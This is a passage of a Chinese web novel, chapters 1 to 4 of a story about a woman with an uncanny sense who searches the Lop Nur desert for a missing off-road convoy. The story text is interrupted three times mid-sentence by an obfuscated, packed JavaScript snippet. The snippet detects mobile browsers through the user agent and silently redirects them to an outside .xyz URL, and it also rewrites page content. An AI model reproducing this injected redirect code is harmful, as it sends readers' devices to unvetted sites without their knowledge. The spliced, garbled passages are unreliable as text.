《被风沙掩埋的秘密》 1. 芒崖 芒崖,青海省西北边陲小镇,方圆二百公里没有其他城镇,尽是一望无际的戈壁荒漠,孤独荒凉。近些年,随着西北大环线的兴盛,小镇有了新的生机。 十月,暑期旅游热潮逐渐退却,西北旅游迈入收尾阶段,来芒崖歇脚的游客逐渐减少,小镇重拾平静。 特别是依靠游客生存的各行各业。 芒崖可供住宿的地方不多,除了五层楼高、刚建成不久的芒崖大酒店外,只有零星小旅店。如今旺季过去,小旅店撑不过漫长淡季,大都关门歇业,只等来年下一个旅游旺季到来,扫榻相迎。 盛唐旅馆是少见的还在营业的旅馆。 旅馆的玻璃门紧闭隔绝外界的风沙,透出的白色光亮让路过的人能看清内里的摆设。旅店大堂并排放着两张木桌子,搭配几把颜色材质各异的凳子,乍一看不像旅店更像餐馆;大门后立着个一米多高的吧台,刷着深棕色的漆,不必靠近便能清晰看到案面上的裂痕。 莫醉此刻正伏在桌面上算过去两个月的账,眉头紧蹙,唉声叹气。她右手执笔,左手不自觉抓挠着头发,原本被规规矩矩束在脑后的头发此刻却像个马蜂窝似的。 她已经算了半个小时了,怎么都无法相信过去三个月的辛苦工作,竟然只有八千块钱的利润。 三个月,八千。 开车去敦煌大街上捡游客扔的瓶子,怕是都不止八千吧? 十一月份要再进一趟罗布泊……上次损坏的轮胎必须要换……底盘护板或许要坚持到下次了…… 心烦意乱,她将笔掷到吧台上,从一旁没有插电的冰柜中拿了罐啤酒,仰头喝了一大口,长叹一口气。 周遭的安静无时无刻不提醒她旅店已经一个星期没有客人入住,往日里不被关注的声音被无限放大。 啤酒泡沫的破碎声,墙上挂钟的滴答声,门外呼啸的风声,沙子撞击玻璃门的敲打声……莫醉愈加心烦。 她打开角落里摆放的老旧电视,加大音量,让正在播报的新闻充斥在旅店的各个角落。 “……十三人、八车组成的车队,未经许可,擅自闯入罗布泊双峰野骆驼自然保护区,三日前与外界失去联络……” 莫醉瞥一眼玻璃门外漫天飞沙。 今年也不知怎么回事,风沙较往年多而烈。以往过了七月八月大风季,是冒险进入罗布泊最好的时候,如今已然十月,风暴沙暴依旧不止,此时强行进入罗布泊,怕是九死一生。 也不知道这些选在这时强行穿越的人究竟是怎么想的,是觉得自己是天命之人死不了,还是觉得罗布泊的危险只是传说,人定胜天、定胜自然?真是幼稚。 她站到门口,隔着玻璃眺望。 小城没有高楼大厦,站在任意一个角落,周遭的风貌都可以毫无遮掩的映入眼帘。外面天气恶劣,风沙漫天,无车经过,却有一个人—— 季风禾就是这样出现在她的视线里。 马路在他身后延伸,一览无余至几公里甚至几十公里外的风蚀雅丹,风卷起地面尘土和沙粒,迷了视野,将天地间万物蒙上一层黄色的粗纱。 而他是这一切的例外。 当然也可能是他的距离实在是太近了,风沙无法模糊他的身影。 季风禾就这么站在沙尘中,眉眼清朗,姿态闲逸,像是极北冰霜雪原,冰冷疏离,意外入了大西北的辽阔画卷,与周遭的一切格格不入。 直到敲门声响起,莫醉方回了神,乐呵呵拔开门栓,将门外人迎进店里。 那人到屋内摘下帽子,莫醉才看清他的模样。 黑白色冲锋衣,三十岁左右,比她高,眉眼深邃,鼻梁挺直,棱角分明,眼神暗含锐光,嘴角有若有若无的弧度,整体看起来很不好惹。 但挺好看的。 “打尖还是住店?”莫醉关门上门栓的功夫,半开玩笑问他。 “寻人。” 莫醉动作顿住,心中生出几分警惕,面上却不多显。她将门栓重新拉开,转身笑盈盈望向那人:“小店已经一个星期没有任何客人了,只有我和老板在,怕是没有你要找的人。” “不是住在这里的人,我想请你帮忙寻人。”那人的目光定在她的身上,让人有些难以招架。 “这事该找警察。” “找你或许更有用。” 莫醉看了一眼他腕上露出的手表,衣服边角暗纹logo,转了下眼珠,没有继续拒绝,试探问:“是找来芒崖的旅客,还是找常住在这里的人?让我寻人,收费可不低。” “找我的未婚妻,价格你来开。”那人不再兜圈子,“三日前,她跟随一个车队进入罗布泊,失去了音讯,我希望你能帮我找到她。” 莫醉收敛了脸上残存的笑意,退后两步靠在吧台上。 吧台抽屉中有无鞘水果刀,下方柜子中有个小型无线电锯,即开即用,她翻过柜子拿到这两样东西,用不了两秒。 她抬眸打量对面人的神色。 没有悲伤,没有焦虑,仿佛失踪的人是个与他关系不大的陌生人,仿佛罗布泊是他家小区的小树林,在其中迷路没关系,买菜时顺路将迷路的人带出来就好。 “罗布泊?我从来没去过,恐怕帮不到你。”莫醉摇头,拉开玻璃门,任由门外风沙灌入屋内,脏了她刚扫的地,“过马路右转走个五百米,有个蓝白相间的建筑,走进去,属于人民的叔叔们会帮你的。” 这是逐客的意思了。 风沙打着旋儿卷进屋内,墙上的挂历纸被吹得哗啦啦作响,散落的碎发在风中狂舞,沙砾渐渐迷了人的视线。 昏黄中,那人从口袋里掏出一张纸,递给莫醉:“是莫穷让我来找你的。” “……” 莫醉狐疑接过纸。 纸张带着楼兰保护站的logo,字迹凌乱不堪写着她这儿的地址,还真是莫穷写的。 莫醉乐了,这狗东西胆子大了,敢给她接活儿了。她挥挥纸条,关上敞开的玻璃门:“我确认一下。” 说起来,莫醉也有一段时间没和莫穷联系了,微信对话框向下滑动了两三下,越过密密麻麻的广告推送,终于找到莫穷的对话框,发起了语音请求。 屏幕上显示的头像是莫高窟的照片,听筒对侧传来一首钢琴曲。钢琴曲过半,电话没能接通,自动挂断。 莫醉微微拧眉,还要再拨,那人打断了她的动作:“莫穷在罗布泊里,没有信号,大概接不了你的电话。” 他明明没在看她,却似乎能注意到她的每一个动作。 莫醉收起手机,定定看着对面那人。 莫穷从不是个热心肠……怎么会无缘无故参与救援? 那人似乎知道她的疑惑,主动解释:“你该听说过前几日‘十三名游客在罗布泊失踪’的事,他的弟弟也在这次失踪人员名单里,这才是莫穷参与本次救援的原因。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372132|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莫醉惊讶:“莫病?” “莫饥。” 莫家三兄弟,莫穷莫病莫饥。老大莫穷在楼兰保护站工作;老二莫病和莫醉差不多大,是莫醉最熟络的一个,长居敦煌,帮他父亲打理旅行社生意;老三莫饥今年刚刚大学毕业,待业在家,在莫醉印象中,是个乖巧的孩子……没想到一搞事就搞了个大的。 “你怎么联系上莫穷的?” 新闻是今天出的,就算他是失踪人的未婚夫,联系了救援,通过各个渠道拿到了车队名单,也不该这么快就联系上莫穷才对。 “这件事很重要吗?” 那人的语气平静,但让莫醉的心突得一跳。 确实,此时再去纠结他为什么要进罗布泊没有任何意义,当务之急是要将人平安从罗布泊里带出来。 电视里的新闻播报还在继续,未有结论的罗布泊失踪事件只是一个很小的插曲,简短播报后切换到了西南边境地带的缉毒信息。 莫醉在柜台里翻翻找找,找出一张巨大的中国地图,铺在桌面上:“新闻刚刚播过,但我没太细看,需要你讲一下大致情况。你刚说总共十三个人?几辆车?失踪多久了?” “六辆车,七天前从敦煌西行向罗布泊的方向出发,原计划五天四夜穿越罗布泊到达库尔勒。三天前失去音讯,两天前没能按时抵达,昨天才接到报警。天气太差,直升机无法启用,搜救工作并不顺利。莫饥是这次的向导。” 莫醉抬起头,眼神古怪:“莫饥做向导?” “有什么问题?” 莫家三兄弟中,莫穷莫病年少时便跟着莫伯伯走南闯北,对戈壁荒漠极为熟稔,莫饥最为年幼又最为受宠,自小养在敦煌,只跟着她走过两三趟,没有独立应对穿越无人区突发事件的经验。 莫醉不欲多说,继续专注于桌面上的地图:“这几日天气状况不好,罗布泊里或许更糟糕。其实风沙对车辆的行进影响不大,但估计还是会比平常慢一些。” “是,救援人员判断车队或许因为天气而折返,将重点的搜救范围圈定在彭加木纪念碑附近和楼兰古城附近。” 莫醉没接话。 莫饥或许不熟悉罗布泊,但熟悉楼兰古城一带,如果能顺利抵达那附近,早就该和莫穷碰头,不会耽搁到现在。至于彭加木纪念碑,算是从敦煌侧进入罗布泊距离较近的一个打卡点,估算队伍折返却不知道具体在哪折返,而将搜救点定在这里,估摸着也是怕这种天气搜救人员出状况,所以先从最近的必经点开始搜索。 队伍此刻应该是遇到一些突发事故,迷失在罗布泊腹地。 她心中有了思量,将地图推到一旁:“行,这单我接了。我找莫饥免费,如果你未婚妻和莫饥在一起,不用收费,但如果他们走散了,需要单独寻找你的未婚妻,报价二十万,不包含车辆损耗,你能接受吗?” 那人没有任何犹豫:“成交。” 莫醉呆住,她没有直升机,也没有团队,救人纯靠天意,报出二十万的天价多少带了点试探的意思,万万没想到对方答应的这么爽快。 还没等她缓过神来,那人已然重新带好防沙巾准备离开,只开门前似乎想起什么,转身看向她,声音因为防沙巾有些发闷:“怎么称呼?” 莫醉卡了一下:“莫醉。你呢?” “季风禾。晚上七点,敦煌酒店607,我约了莫仲磊,有兴趣的话可以和他一起来。” 2. 土豆 季风禾离开后,莫醉关门落锁。 食物和饮用水店中常备,帐篷睡袋和必备的工具一直堆在后座,只需要准备一些汽油,随时能出发。 从芒崖出发,走国道翻越阿尔金山,穿过沙漠外沿,可直接进入罗布泊范围,比先绕去敦煌,要节省不少时间。顺利的话,明天上午就能进入罗布泊腹地,运气好的话,明天下午就能找到失踪的那群人。 楼上有声音传来,踢踢跶跶,是小动物的肉垫在松动地板上蹦跳的声音。两分钟后,楼梯拐口出现一只大狗,除眉心到额头的小块白毛,通体土黄色。 狗子昂首挺胸,姿态闲逸,欢跳着下楼,到最后几阶楼梯时没踩稳,以脸着地的姿势滑到莫醉面前。 莫醉打趣儿:“土豆少侠好功夫啊。” “汪!” 揉面团似的将土豆的的毛揉搓得乱七八糟后,莫醉才想起了最重要的一件事:“糟了,忘记安排你的去处了。” “汪!” 莫醉摇头:“这次不带你了,你太重了,省下来的重量能多装不少油呢。” “汪!” “反对无效!一会儿我带你去隔壁,你乖一点,不要拆家不要勾搭那只萨摩耶,你们品种不同,没有未来的。” “……汪。” 落锁的大门再次传来敲击声,莫醉向门口方向望去,竟然是莫病。 这个时候他不应该在敦煌陪莫伯伯,又或者带队去找人吗,怎么会来她这里? 她小跑着打开大门,让他进门:“怎么到这儿来了?” 土豆亲昵靠近,绕着他转圈,尾巴摇个不停。 莫病心不在焉摸它的头,视线掠过面前一人一狗,看到桌面上堆积的物资:“猜到你要一个人进罗布泊,我想和你一起去。” 莫醉不意外莫病会猜到这件事。 她确实准备一个人直接进罗布泊,什么敦煌什么季风禾,她从没想过要去。 季风禾来找她时,明显不信任她,或许因为她看起来年岁不大,或许因为她是个女人。而他最终愿意答应和她的交易,可能只是因为如果她找不到人,他也不会有什么损失罢了。他以为她会会去找莫仲磊,也就是莫伯伯一起行动,实际上对于她来说,多余的人都是累赘,还不如一个人上路。 “你开车来的?”莫醉岔开话题。 莫病忙不迭点头:“是,凌晨出发,天气不好,速度起不来,只能慢慢开。我带了很多汽油,足够两辆车进出。” 莫醉不接这个话茬:“家里怎么样?” “家里知道消息比新闻早些,一直没敢告诉我妈。昨天有一个失踪人的家人联系了我爸,今天晚上在敦煌见面聊,说是要进入罗布泊,亲自找人。听说是个大老板,不差钱。” 这人大概就是季风禾,但亲自进入无人区找人?就他那双手不沾阳春水的样儿,怕不是白送人头,增加需要被救援的人的数量吗? 莫醉按耐住心头的想法,不提季风禾找过她的事:“新闻里不会详细说,我知道的内容不多,你那有什么新闻没说的信息吗?” 莫病摘下帽子,挠了挠乱七八糟的头发,还真想起了一件事:“新闻中说的人数不准确,其实从敦煌七里镇出发进入罗布泊的人一共有十五个,八辆车。车队中有一对父子,出了魔鬼雅丹没多久便陷了车,第二日又陆续出了些问题,傍晚到达彭加木纪念碑后决定脱离大部队原路返回。这对父子车上安装了手持gps和卫星电话,也是车队里为数不多装备齐全的人,最后在第四日撤回了七星镇,现在已经回了家。今天这事儿上了热搜,他们才意识到车队出了问题,急忙联系了救援团队提供线索。” “听说是经验丰富的越野车队?” “只能算是越野爱好者。原本约好了一个经验丰富的向导,但那人有事来不了,转而请了阿饱,阿饱帮忙联络了两辆补给车。”提及弟弟,莫病心中的沮丧铺天盖地席卷而来,“听那对父子说,车队大部分人没跑过隔壁沙漠,说是进过无人区,实际上只是跑过没有信号的国道……这不是闹着玩嘛!” 这和莫醉预料的差不多。 国内四大无人区,罗布泊、阿尔金山、可可西里和羌塘中,除罗布泊,其余三个均在高海拔地区,地形更为复杂,许多爱好越野的人,将罗布泊定位征服无人区的第一站,雄心壮志多敬畏少,最终导致了翻车。 说话的功夫,莫醉手机震动了一下,划开一看,竟然是莫伯伯发来的文件,内容车队原定的路线以及车队成员出发时的照片和基本信息。 文件里加图片洋洋洒洒好几页,莫醉大概看了一下,问莫病:“你来的时候,告诉你爸了?” “没有。我走的时候我爸正在忙,我是悄悄溜走的。” “行,你这趟来得正好。” 莫病双眸瞬间亮了起来:“你同意了?同意我进罗布泊了?” 莫醉没接话,轻轻踹了踹蹲坐在一边听二人讲话的土豆:“你把土豆带回敦煌,帮我照看几天,等我过几日去接它。” 莫病还要挣扎:“可是——” 莫醉打断了他的话:“我这次不止是去找人,还有自己的事要做。我原本也打算过两个星期进去一趟的,阿饱失踪是个突发事件,不过是将这个行程提前罢了。”她顿了顿,放柔了音色,“你知道我的情况,我找到他们后,会送到七里镇附近,到时候会把坐标发给你,还要辛苦你去善后。况且,万一我出了什么意外,你可以带着土豆去救我,土豆能找到我。” 莫病还在迟疑,莫醉已经转身去收拾土豆的东西。土豆跟在莫醉身后,穿梭在这栋三层小楼里,不时发出几声呜咽,像是请求主人不要将它送走。 他站在原地,看着莫醉的动作,不自觉想到他们的第一次见面。 那是五年前,阿饱刚满十八岁,父亲说要带着他们二人穿越罗布泊,庆祝阿饱的成年。三人一车,在荒无人烟的罗布泊里行驶了四天,即将要抵达终点时,车子故障,卫星电话故障,几乎陷入绝境。 他们在罗布泊里呆了一天一夜,物资还能坚持,精神却已经在崩溃的边缘。第五天的中午,他看着车窗外五天来没有一丝一毫变化的戈壁深处出现了一个小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372133|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑点时,几乎以为自己产生了幻觉。 他没声张,只盯着看,直到几个小时后,那个点逐渐变大,才终于看清楚,那是个背着一个背包,步行在燥热缺水无人区的年轻姑娘。 这人就是莫醉。 莫醉也发现了他们,靠近问清楚情况后,让他们在这里等一下,等她开车来接他们。 后面的几个小时,是极为难忘的几个小时,莫病时而怀疑刚刚的一切都是濒死前的幻境——毕竟哪个正常人会在开了车的情况下,在罗布泊里步行;时而又心怀期待,毕竟已经被困了超过三十个小时,这人或许是他们脱困的唯一可能。 好在几个小时后,莫醉信守承诺开车回来,将他们送到楼兰保护站。 他们自此相识。 莫醉将土豆的随身物品收拾出了一个小小的包裹,递给莫病时,感受到一股子向后的力量。 低头看,是土豆咬着背包的角,拼命向后扯,两只狗眼泪汪汪,喉头呜咽声不断,楚楚可怜。 莫病有些不忍心:“要不,你带它一起?” 莫醉弯下腰,笑眯眯盯着这只闹脾气的狗:“你要是跟着我去,只能吃压缩饼干,你要是跟着莫病走,可以吃土豆,你看你要去哪?” 土豆眨了眨眼睛,慢慢松开咬住的包,默默退到莫病身后。 莫醉看着它这幅不值钱的模样,恨铁不成钢,放到战乱时期,妥妥的汉奸。 莫病笑起来:“说起来,土豆是我见过的唯一一只蛋白质过敏的狗,竟然不能吃肉只能吃菜。” 莫醉嗤笑:“是啊,所以到现在还是单身狗,没有同类瞧得上一只不吃肉的狗。” “汪!” 将土豆安顿好,又将准备的汽油搬到莫醉皮卡的车斗上,莫病准备离开。临行前,他隔着车窗看着站在盛唐旅店门口,倚靠着门框向她挥手的莫醉。 风沙比来时大了许多,如在空中飘舞的黄色纱巾,让她变得影影绰绰。他打开车窗,车内瞬间被土腥气包裹。 “注意安全,敦煌见。” ……………… 送走莫病后,莫醉不再耽搁,将物资搬到车上,断水断电锁门出发,开了十几个小时后,终于在后半夜进入罗布泊的范围。 无月无星,世界一片漆黑,皮卡的前灯像是一双利刃,劈开黑暗,照亮眼前三尺天地。 十几个小时的车程清空了莫醉的体力,她熄了火,寻了一座小雅丹停靠,下车环绕四周。 车灯的光束中,风卷着狂沙有了可触及的形态,打在未被遮掩的皮肤上,是连绵不断的刺痛。散乱的发丝在黑暗中狂舞,如魔鬼的爪牙,勾引着路过的灵魂。 风在荒原上肆无忌惮的嘶吼,三百六十度环绕立体声,怒斥着闯入者的无礼。 莫醉恍若未觉,闭上眼睛,屏除心中的嘈杂,深吸一口气,感知周遭的一切。 泥土的腥气、汽车尾气的残余、十公里外野骆驼粪便的味道…… 她睁开双眸,凝视着无边黑暗。 没有人类的气息,明天还要继续没有方向的前行。 3. 出发 这个世界上有许多科学无法解释的事,比如莫醉有不少异于常人的天赋,其中一个便是可以感知到二十公里左右的范围内,是否有人类或者其他生物的气息。这天赋在城市中没什么用处,但在无人区救援中,却能解决不少麻烦。 第一次发现这个天赋,是在五年前,那时她已经在罗布泊里晃了半个多月,需要离开补给。正准备返回停车的地方,开车离开罗布泊时,察觉到一丝奇怪的气味。那时她还以为她找到了她一直想找到的东西,激动得心脏快要冲破胸腔。她沿着味道的方向走了七八公里,没找到想要找的,却发现了莫仲磊、莫病、莫饥父子三人。 她曾犹豫过是否要搭救这三个人。 贸然搭救,若这三个人在之后泄漏她的行踪,她会变得很危险,整个事件或许会成为农夫与蛇的现实版;若不搭救,这三个人恐怕坚持不了多久。 那是她第一次在罗布泊中遇到活人,再三思量,还是心软将他们带了出去。 好在莫家人知恩图报,对外界只说她是莫伯伯的远方表妹,帮她省了不少麻烦不说,还为她提供了一层身份遮掩。 她从未对莫家人解释当年她突然出现在他们面前的原委,莫家人也从未过问,只知道她是个可以自由行走在罗布泊中的神秘人。 每年罗布泊中都有不少因各种原因失去踪迹、需要救援的人,初时莫伯伯还会隐晦询问她是否能帮忙,被拒绝得多了,也知道她不喜欢掺和这件事。 如果不是莫饥失踪的话…… 风沙中,莫醉钻回车里,抖落浮在身上的尘土。 沙砾打在车窗玻璃,噼里啪啦响作一团,听久了生出几分睡意,半梦半醒中,车子突然开始抖动,莫醉瞬间睁开双眼,坐直身体,向四周望去。 黑夜已经过去,风沙渐歇,天光乍现,惊醒昏沉大地。 万物都在晃动,如冰裂纹般的地面有沙砾在跳跃,像是活了一般。须臾,天地重新混沌,能见度不足半臂。 三分钟,又或者是五分钟后,世界重归寂静。 仿佛什么都没发生过。 莫醉有点懵,她也是第一次遇到这种情况。 是地震吗?还是在做什么实验? 她在车中静待片刻,没有余震,也没有奇怪的事情发生,似乎刚刚的一切只是错觉。 真是太奇怪了。 这么一折腾,莫醉的睡意已彻底冲散,黎明时分的罗布泊凉气袭人,她将防风衣的拉链拉到最高,跳下车伸了个懒腰,舒缓松弛僵硬的筋骨。 风比昨晚小了不少,天色却依旧阴沉。万物被风沙掩盖,天和地彼此交融,昏黄而和谐,明明是一望无际的旷野,却只能瞧见眼前百米距离的黄土戈壁。 莫醉开了瓶水,简单洗漱,冰凉的液体将最后一丝睡意驱散,她发动车子,重新踏上寻人的路。 罗布泊内没有道路,时而是绵软沙地,一不小心有陷车可能,时而是坚硬的灰白色盐壳地,疯狂摩擦橡胶轮胎。几个小时后,天色彻底亮起,飞舞的狂沙暂时歇了脚,视线可延伸至天际处。四周的景色宛如复制黏贴,一望无际的荒漠中竖立点缀着雅丹群和枯黄的胡杨林,和海市蜃楼似的。 莫醉开得小心,速度却不慢。她太熟悉这片土地了,哪里需小心谨慎哪里能松懈片刻,如数家珍,如同在自家后花园一般。 到正午时,她终于感知到了一丝闯入者的气息,停下辨别清楚后,调整方向重新出发,又开了半小时左右,翻过一个沙脊,终于望见陷在沙地中的两辆车,以及车子附近围着的自救的人。 八辆车,除去退出父子开的那辆,应该还有七辆车没有踪迹,现在却只看到了两辆…… 莫醉挑眉,预感到这会是个很有趣的故事。 她在距离几十米的高处停车,滑沙而下,步行到两车附近,方看清情况。 四个人,三男一女,其中一个正是莫饥。 正在挖坑的众人听到声音抬起头,见是一个二十多岁的姑娘向他们走来。这姑娘下身工装裤,上身无袖背心,五官明艳,一头茂密黑发散落在肩头,边走边用一根棕色皮筋扎起。她的四肢纤长,手臂肌肉线条清晰纤长,动作利落又干练。 众人被困多时,看莫醉的目光像是看救星,只有莫饥,垂着眼睛,不敢直视她的眼睛。 莫醉的目光扫过四个人,见他们虽然有狼狈,精神状态还不错,便放缓脚步停在几米外,冲着他们吹了声口哨:“什么情况?” 四人中为首的是一个四十多岁的男人,穿着迷彩服,腹部微微凸起。莫醉仔细回忆那份关于整个队伍的资料,一一比照,认出这是整个车队的队长,黄维。 黄维见到莫醉,初时很高兴,待看清楚她是一人一车,不紧不慢时,兴奋劲儿退却不少:“你好,我是黄维,你是来找我们的吗?” “找”这个词用得很精妙,莫醉含糊回答:“算是吧,不是十三人七车吗?剩下的人呢?” 黄维叹了口气:“说来话长,要不你先带我们出去,出去之后慢慢说?” 莫醉挑了下眉,乐了:“让剩下的人自生自灭?” 黄维瞅一眼身边阴沉着脸的妻子,又看一眼另一旁一直低着头的向导莫饥和开补给车的老李,想说什么又开不了口。 四个人都想先出去,却谁都不愿意诚实将诉求说出口,只等着其他人先说,来背这口弃同伴不顾的黑锅。 遇到绝境,优先保全自身的想法并不能说有错,莫醉懒得评价,抬抬下巴,指了指车的方向:“两辆车情况还好吗?” “没什么大问题,陷车,只是油不太够了。” “水和食物呢?” “还剩一点,能坚持一天。” 莫醉边听,边将具体的坐标和信息发给莫病,向莫饥的方向勾了勾手指:“你,过来。” 自莫醉出现,莫饥大部分时间都保持着垂头的姿势,只偶尔趁人不注意抬头瞧她一眼,再迅速低头,一副做了亏心事的模样。他以为莫醉会装作和他不认识,将他扭送到他哥他爸的手中,等他们来责骂,却没想到她准备现场开刀。 莫饥垂头丧气,像只落水的公鸡,耷拉着脑袋走到莫醉身边站好。 莫醉开口解释:“这是我侄子,年纪小不懂事,我先带走了。我刚刚已经把坐标发给救援团队,最近风沙大,直升机飞不了,你们耐心等待,估摸着一天之内,会有人来救援你们。”她顿了顿,又补了一句,“如果你们想自己走也行,其实时间差不多,只是后面的路也不容易开,我还是建议你们在原地等待救援。” 黄维身边的女子不乐意了:“你什么意思?你就带走你侄子,放我们自生自灭?你知道这鬼地方闹鬼吗?好,既然这是你侄子,出发前,你侄子拍着胸脯保证,这趟行程一定顺利,结果呢?我们差点死在里面!既然你侄子年纪小,那你这个做长辈的,是不是应该替他负责?” 一阵风沙掠过,吹散剑拔弩张的氛围,让众人不得不闭紧嘴避免吃沙。 莫醉鬓边碎发在荒原的风沙中摆动,像海里的水草,随遇而安。她将狂舞的头发别到耳后,定定盯着那女人:“西北今年风沙大,罗布泊怪事也多,也就我侄子年纪小眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372134|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮子浅,才能受你们威逼利诱,带你们走这一遭。”她眯着眼睛,看着车玻璃后隐隐约约的黑色轮廓,“虽然我不知道你们整个队伍带了多少个手持gps和多少个卫星电话,但既然你们是打头车,还是队长,你们的车上必然有这玩意。你们失踪了这么长时间,为什么不联系外面?” 莫醉看着几人灰下来的脸色,嗤笑:“看来是用不了了。我早就说了,罗布泊奇怪的事儿多得很,你们不信邪想来送死,别拉着别人垫背。我侄子好不容易把你们带出来送到这儿来,你们不感激就罢了,还倒打一耙,合适吗?” 那女人还要说什么,被黄维扯住胳膊,拦了下来,面上的笑容增了几分讨好:“是我们的问题……但你如果这么走,还把你侄子带走,我们怎么办?你说你联系了外面的救援,万一他们没收到呢?” 莫醉晃了晃手中的卫星电话:“既然我能联系,你们也能联系。你们的电话早就能用了,只是一直没发现罢了。” 看那几人担忧神色不减,莫醉想了想,跑回车里翻出一个小东西,扔给黄维。那东西在空中划了个歪歪扭扭的抛物线,黄维双手接过,低头方才看清,是个工艺品指南针。错愕中,他抬头想要问个究竟时,那两人已然走远。 黄维咬着后槽牙,千言万语汇成一个字:“草。” ……………… 莫饥跟在莫醉身后,灰头土脸爬上皮卡的副驾。 皮卡发动,向更荒芜的地方驶去。 莫饥不敢说话,低头揉搓着手指,莫醉也不说话,专心开车。车厢里一时安静得像是没有人,只有风声尖锐的呼啸和发动机的嗡嗡轰鸣交相呼应。 车子驶过一片布满陷阱的盐碱地,莫醉将车停住,拉开车门跳下车:“你来开。” 二人换了位置。 “开直线,一直向北,到中心点去。”莫醉将手肘搁在车窗边撑着脑袋,任风吹拂脸颊,等着莫饥熟悉了车,越开越顺,才开口问,“说说吧,怎么回事。” 莫饥咬了下嘴唇,不敢再隐瞒:“想搞点钱给女朋友过生日,于是接了这个活……” 莫醉不耐烦地翻了个白眼:“你要从你记事儿开始讲起么?说重点。” 莫饥沉默片刻,依旧摸不着头脑:“重点是什么?” “八辆车,十五个人,怎么到最后就剩下你们四个了?” 莫饥抿了下唇,将这几日的事简略说出:“这个车队说是越野车队,其实非常业余,从一进魔鬼城就开始陷车拉车陷车拉车,走到彭加木那块很多人已经不耐烦了,有一对父子在那个时候决定退出。他们车上设备齐全,路也不长,黄维就让他们一辆车单独出发了。后来又走了一段,又一辆车故障开不了,只能弃车。队伍里有四个刚毕业的大学生,三男一女,这辆车就是他们的,后面他们四个坐一辆车。” “这个时候是十三个人,六辆车。” “是,后来行程过半,风沙越来越大,那几天是最糟糕的,明明是白天,却像黑夜,根本看不清路。那四个大学生商量后也准备返回,顺便去看看放弃的那辆车,还能不能救一下。他们的车上也有完整的设备。” “九个人,五辆车。” “他们走后没多久,发生了一件很奇怪的事。”莫饥吞咽了下口水,不自觉抓紧了手中的方向盘,声音不自觉颤抖起来,“我们明明是开直线,但是gps的导航却显示我们一直在绕圈,那时候李哥,就是开补给车的大哥说,打个电话给外面,就算不求助,也先大概说明情况,那时我们才发现,卫星电话也没了信号,我们完全被外界隔绝了。” 4. 行程 过去几天的事,对于莫饥来说,像是一场梦。 本以为很顺利的一趟行程,未料处处都是波折。 莫饥的思绪回到那四人离开的那天。 四个年轻人离开后,队伍里只剩下九个人。 一行人又走了一日,到傍晚时,决定扎营过夜。营地附近有大片枯萎的芦苇丛,风经过时,影子在沙地上左右晃动,如阴兵摸黑袭营,正在等待一个时机。 风不休,沙沙声不绝于耳,更显阴森。 众人将车围起,在中间平坦处扎了四个帐篷,环绕成一圈。黄维夫妇一个,两个补给车司机的一个,一对年轻夫妻一个,一对男性好友一个。 莫饥总觉得这种大风天,住小帐篷会有被卷走的可能,选择睡在车中。一天的颠簸让大家筋疲力尽,随便吃了点东西,纷纷钻入帐篷休息。 莫饥躺在后座上很快入睡,半梦半醒中,突然惊醒。 那时的感觉很奇怪,没有巨大的声响,没有突然的摇晃袭击,但他就是醒了,且睡意瞬间消散。 他在黑暗中坐起身,擦净车窗上的水汽,透过玻璃向外看去。 天还没亮,只有一盏挂在帐篷里的露营灯,隔着帐篷布散发着昏黄的光。他盯着帐篷看,睡前的四顶帐篷只剩下了三顶,原本停放在五个个方位、将帐篷牢牢包裹的车少了一辆,出现了缺口,不再密不透风。 莫饥打了个激灵,慌忙下车,将所有人叫醒。 黄维夫妇还在,司机还在,那对夫妻还在……不见的是那对兄弟。 狂风大作,众人在四周查看了很久,甚至连一旁的芦苇丛都绕了一圈,都没有任何发现。 “姑,你说会不会是我们的幻觉,这对兄弟,从未出现过?”莫饥咽了下口水,回忆起那夜的情况,声音还有些颤抖,“没有车辙印,没有脚印,甚至连帐篷驻扎过的痕迹都寻不到,两人就像是从未出现过一样。” 莫醉倒不觉得这是什么灵异事件。 恶劣天气、事故频发加上长时间的精神重压,导致莫饥有些疑神疑鬼,以至于忘记了这里是罗布泊。这里的大风与其他地方不同,眨下眼的功夫,车辙印和脚印能被风沙抹平,小憩一会儿的功夫,沙丘或许会换个位置。 帐篷被收拾好,车辆被开走,离开的无声无息,未留下痕迹,多半是俩人偷偷溜走了,被风抹平了一切痕迹罢了。 只是不知道他们为何要在半夜偷偷溜走。 她懒得解释,打开手机翻看莫伯伯发给她的车队成员资料,找出几个年龄符合的男性照片,递给莫饥:“你说的这两个人,在其中吗?” 莫饥接过手机,单手滑动,最后摇摇头:“没有。” 莫醉皱眉:“你再仔细看看?” 